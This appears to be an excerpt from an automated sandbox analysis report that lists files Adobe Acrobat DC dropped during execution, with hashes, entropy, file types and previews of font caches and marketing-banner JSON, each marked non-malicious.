Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7840

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.37388261560362
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdnrTNJ2nmSg1c2LjcWkHvR0YcoAvJM3g98kUwPeUkwRe9:YvXKXNrTNJ2mT5LjIPbGMbLUkee9
MD5:	52F23CE8C1E5E50F6705346B300D4E8E
SHA1:	569117D3C281C4180AF0D58B802D05CF628B2831
SHA-256:	E984E261CCC0A2A11B6F4DE23CC4C2B2341A81F69228B71AD09BC7A5E5A776ED
SHA-512:	5E9A552322E22358FE30EC7F9EF55424704DB783BCF3C6D1E7FE68571B607638CB2F2252E0DF4E69CC92B68D0C3F91CBDB7600BF1A090EBD8273285D805852BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3255024498556285
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdnrTNJ2nmSg1c2LjcWkHvR0YcoAvJfBoTfXpnrPeUkwRe9:YvXKXNrTNJ2mT5LjIPbGWTfXcUkee9
MD5:	559681FDCB5036479CF4131E3DD2C658
SHA1:	0E23670A43437C4C43B7065E7FE97A327F41D38C
SHA-256:	E7C921FE8DF364BB3AA1D3C79905C49FFCC5B46FEECF2EE282E59A6D4194E1D1
SHA-512:	36A713858452D803CBF9FDF862F59C53377C7E2F6418F972E0E8D90A4390C6D6704E75C800BFBC3AFA7A248188D4A19C939CA3663ECBBC61BBA1E5D2497421FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.304497485250704
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdnrTNJ2nmSg1c2LjcWkHvR0YcoAvJfBD2G6UpnrPeUkwRe9:YvXKXNrTNJ2mT5LjIPbGR22cUkee9
MD5:	93A40535672861053F29B6F05955A1C2
SHA1:	7D0C9D42532721C19DA2A5306ABE5DB111B8E8DC
SHA-256:	A6295462D3F4C58BADE09E390D7DA423F574BFDECF751BD260C5B051E475AC12
SHA-512:	909AB83200FF2E2B0EF558FF2E77CBA6BC3729019F94509D468C7D0CCF33ECD5E777C52F36CF57ECF105009B8F122BAC19E71E51FDD29348B5B57330F7514769
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.355253743926797
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdnrTNJ2nmSg1c2LjcWkHvR0YcoAvJfPmwrPeUkwRe9:YvXKXNrTNJ2mT5LjIPbGH56Ukee9
MD5:	B089E39ED4017FE5252F0A804E33A7D5
SHA1:	B51B662E5BDF13B5E4034D260CBA4AAB897FFA39
SHA-256:	122D84B49A8CEDB72381983FBA0ACA613792CF1B1E4FFF02C97C417984EC2BBA
SHA-512:	ED87D4B862DF0B1F177EF6A1C1A4E5BAA63469E7017DF3EA9C21400D9EBE209BEFF9312166FB83A17B0D19146447B3D3FB3D1C0636D9B24AD832F791AE0045CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.694281379632552
Encrypted:	false
SSDEEP:	24:Yv6XxT5XI4pLgE9cQx8LennAvzBvkn0RCmK8czOCCSI:YvCXBhgy6SAFv5Ah8cv/I
MD5:	41D485D7F95C1218473AE42B0A9B4A0B
SHA1:	FB02DF27CA9079FBF7650FC2D9278294E0EE9552
SHA-256:	0BE72CDAA66DB2D3E2AC1A706DD2E6D84556A722E4E64A7483501717DE1FC55C
SHA-512:	C90719B6035A971D4726ACFC4AF28C933C93DB17E8785B74C39F5480B5E54650F36480544BE0E4068024BB52E2517E024DBF388F9156B94929D19066E086D5C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.325292976660884
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdnrTNJ2nmSg1c2LjcWkHvR0YcoAvJf8dPeUkwRe9:YvXKXNrTNJ2mT5LjIPbGU8Ukee9
MD5:	054618EA0CB05B10941C9267AB6B1DB4
SHA1:	BFFDE643C6E45AD4CB0895D8C5259215C8AEDDCA
SHA-256:	4537A863BCD96961AB135305C25D1B7282A61F3EA4CEB0F1EBF60EFDBA36C434
SHA-512:	839FF1E5784FED777E9861105BF7FE5F90C47E06A8402C1D83971E3BB950A1593FFFD4CCBB92DE13133BC16E329A47EC57D6F28DDC0006C9F37418DC976E3A13
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.316262973107813
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdnrTNJ2nmSg1c2LjcWkHvR0YcoAvJfQ1rPeUkwRe9:YvXKXNrTNJ2mT5LjIPbGY16Ukee9
MD5:	1184213AAFBC5B4B26E266C42FAE1524
SHA1:	697C3653A27932CEE6DFDB119209722845938E94
SHA-256:	1FAB8A8BB5E00F317B3A557AA61E20B95C75480B6A69813E6338DBD2B58DFF69
SHA-512:	465C3F1EFBD2EB96E342A656E4D09ECE89D7E9C5B32B2FEFDFA74C2F06BB231EDE3329099CA3A334C5B7A8E892FA5BC39FC51BDA08064B90AF32B4232E2A6B75
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.331473889561757
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdnrTNJ2nmSg1c2LjcWkHvR0YcoAvJfFldPeUkwRe9:YvXKXNrTNJ2mT5LjIPbGz8Ukee9
MD5:	F51A03BE3ED5EEADD56F87F6096B7A6C
SHA1:	9E415060437BDE788BB5258DC9A32BB1C0DC8FF2
SHA-256:	84E217258D2B2304E95EE17C47CB01CEC21EFC91C3DBE7F6C8CD629193D0D2B4
SHA-512:	CF6972E0FB08A2AB5F7179043889830A37588DF86669425B56A0078F108D08ED64AAD3D21D7D2C1800D63B164B667001D27926CBF6555B3C467F4AA646820F08
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.350708573091695
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdnrTNJ2nmSg1c2LjcWkHvR0YcoAvJfzdPeUkwRe9:YvXKXNrTNJ2mT5LjIPbGb8Ukee9
MD5:	A66089F32D5382BA2DEABCFBA37D632E
SHA1:	C49A372A851A68882D81DFB22BD6E91274F97065
SHA-256:	2B792EA46DA847AA63057EBE14084765C8340B6AE565E8251A6DD126BAF32656
SHA-512:	C7A73C2459447DC23FB3B2D28E7C0EA421C80DE8F928563BC02A3BB704D97CAD2356590430C51ECB3468E542851CE2CF398131ACAAD18FA2EDE4E70EE091F6E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.331709258043889
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdnrTNJ2nmSg1c2LjcWkHvR0YcoAvJfYdPeUkwRe9:YvXKXNrTNJ2mT5LjIPbGg8Ukee9
MD5:	3AF605480E8A970AEA918BF516DD1A7F
SHA1:	4036FCC55952CB9EFFA0B71589C9760013A45B87
SHA-256:	20350125B7373C506396CA42C3C8160142E9CE57D8AD305621B7A2E7CEC0E1B3
SHA-512:	9A84DF2B7B5E64F9ADD691F3F09DFE81C5CA7E29BC42C760FF319F65CA9166494EE6CBCCF8C110D443D8AEF9DB1AB1C6E1A2171E0DB4947927631427476E138A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.318616883379684
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdnrTNJ2nmSg1c2LjcWkHvR0YcoAvJf+dPeUkwRe9:YvXKXNrTNJ2mT5LjIPbG28Ukee9
MD5:	6653C4C003AE4B01B8A741A6A44B4318
SHA1:	7F2BC8D1D657BB22DA5F2BC43AB75D423C8CF1D5
SHA-256:	2470B082ADB7BDF37B634E158273449E52A06A0AFD3E980F5704170FCE9E9B27
SHA-512:	D81D57BE9AF7D68D16D4795475C6DF1C33B51C85E7A5E52C20739AACD9EA59B3BB27804174BEF4BA970D568A338ABDB7F019413ECFF361D53BA31705277D4A05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.315038422672779
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdnrTNJ2nmSg1c2LjcWkHvR0YcoAvJfbPtdPeUkwRe9:YvXKXNrTNJ2mT5LjIPbGDV8Ukee9
MD5:	896F83F09669B7DB1CE5EE0D53278962
SHA1:	404984E2FB989AB6CF22BEF8F837B8A453A4A825
SHA-256:	59799F2A867B4A3DEC2343A38560B6C86FB63454CA07B229EDF6C6E8B8E61B67
SHA-512:	D841AEF75776360BF2914F4840B6238FE5564B95DC76359BCD08615D6909AC615505E00574084C8EFB3C6DB1029A7A3A27D051E90B20D91199E87961CE96A75A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.307237253671983
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdnrTNJ2nmSg1c2LjcWkHvR0YcoAvJf21rPeUkwRe9:YvXKXNrTNJ2mT5LjIPbG+16Ukee9
MD5:	977DC8C48C55E23215CAF534C8F5749C
SHA1:	25A2A6D5AA8B0632F7F0B722369503E13749D61F
SHA-256:	5B93E08F7B0948DAE2B50A3E8196C1CD1448D06483FDF593950D6640DEC29AB5
SHA-512:	EF19AB8151544DCA828DE445349E09EDFE90F43604E26E3BA8BEA97F6DC120F324A978EDAF71EC5D79B59CB71322E0098B66224BD0B871AC8AE2B43230BF0DDD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.672700357465947
Encrypted:	false
SSDEEP:	24:Yv6XxT5XIMamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSI:YvCXNBgkDMUJUAh8cvMI
MD5:	A1E7466DE9F915069BDFA5134FFD3CA3
SHA1:	3D07E97E65EFB8C0DD353724EA1DDB1B6EE5151B
SHA-256:	D32768E492CE84236E94323F97A08D787BD600E9556C0B3848005C8F5CB73F69
SHA-512:	DCD6BC57658940FB1937EA7A0F81AA283960F829F1A23930DDB2D29AE847A9C70EF4D73EC297CE2EE534CFE5F52385D82B821B3E658B61FD1828D7DF54577B9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.279832501566494
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdnrTNJ2nmSg1c2LjcWkHvR0YcoAvJfshHHrPeUkwRe9:YvXKXNrTNJ2mT5LjIPbGUUUkee9
MD5:	6C912721BAA5A97EF90E55C39FD738AC
SHA1:	C1F8AE4C494E8F08A8A59A45823BF15FEFDBC3BB
SHA-256:	1159536A4A06FF55D43FFD0CB407EA0DF93D62A7B776D345DF1F756E7575805B
SHA-512:	03BF5E668525539F55591B8A6B6888C8B2C1D71BA372CE5E841C6908723B0888C94121C537AF8171C345DA801C9922FDFEBAF8DE14BD021E9130B0A7EF75A99E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.29217489652481
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdnrTNJ2nmSg1c2LjcWkHvR0YcoAvJTqgFCrPeUkwRe9:YvXKXNrTNJ2mT5LjIPbGTq16Ukee9
MD5:	19AE78D855D9461D4D737740B3CEDF76
SHA1:	1C9F529527747BCAD59AB7F3BDDE20B2557CF4C6
SHA-256:	9984360AC181AD172604827BBBB5B83BD871B1CBCF4DF3CE41206808631C92CF
SHA-512:	AF980592BEFD5F6C85B9762C955B8757B45C621D814EBED15DC48A00959C5D97366E798DD85A8697557D02B39AF1DEEE594D40D2DB587A9714BD4E3980663439
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecb55915-2d01-4d9e-9dfb-165f3d891af7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736741935447,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.147046560839369
Encrypted:	false
SSDEEP:	48:YQuOwGtP5of479VQPbBzUHjll/0dNN9lmkt:9uFGB5of479CKHjll/0Nzlmkt
MD5:	77FA38496AA99A84820EC2251C32010B
SHA1:	00EA51DBFC10AC80439280960B5EE8913C0465A7
SHA-256:	BEA4B6BED3F858157BC1C56094D2112227ACDEE4B20837F930842A9AA62D26B9
SHA-512:	981E47406E1A43EE2A7639E30F7E83275E2E3A4F8B39FAF04C6C073CB2A9D5292CEDCB4A8E63221E922D7B56D0721A4DA4F2CEADC27B78B0B06123C5F4085033
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"7158391738207678facfa04f62d684c0","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736562684000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"1a0246ab97a261c985b20015d4a5c938","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736562684000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"06c89b046684943eaafb939cb3b2d5a9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736562684000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"a4d38fe8281349b132ab9f9d7997af3b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736562684000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9c54485d59b6aad1f8db5e068469ade7","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736562684000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"956c73d348a8eafd29b57ff39c28f27c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3676798781091206
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDumaXKdqEKfS8EKfM1baOaF:Tll2GL7msMcKTlS8fcsuyfIn
MD5:	A53BA756CB43F65CCBB24D0F5B3D7698
SHA1:	9BE3722E3CA0694BDCD85B04C3D2AB50A8B141D7
SHA-256:	60DC6F8BFF2BE01440D0E7EDF495ADE0CE0F3DACD9A8965B51B7EAABBEB80619
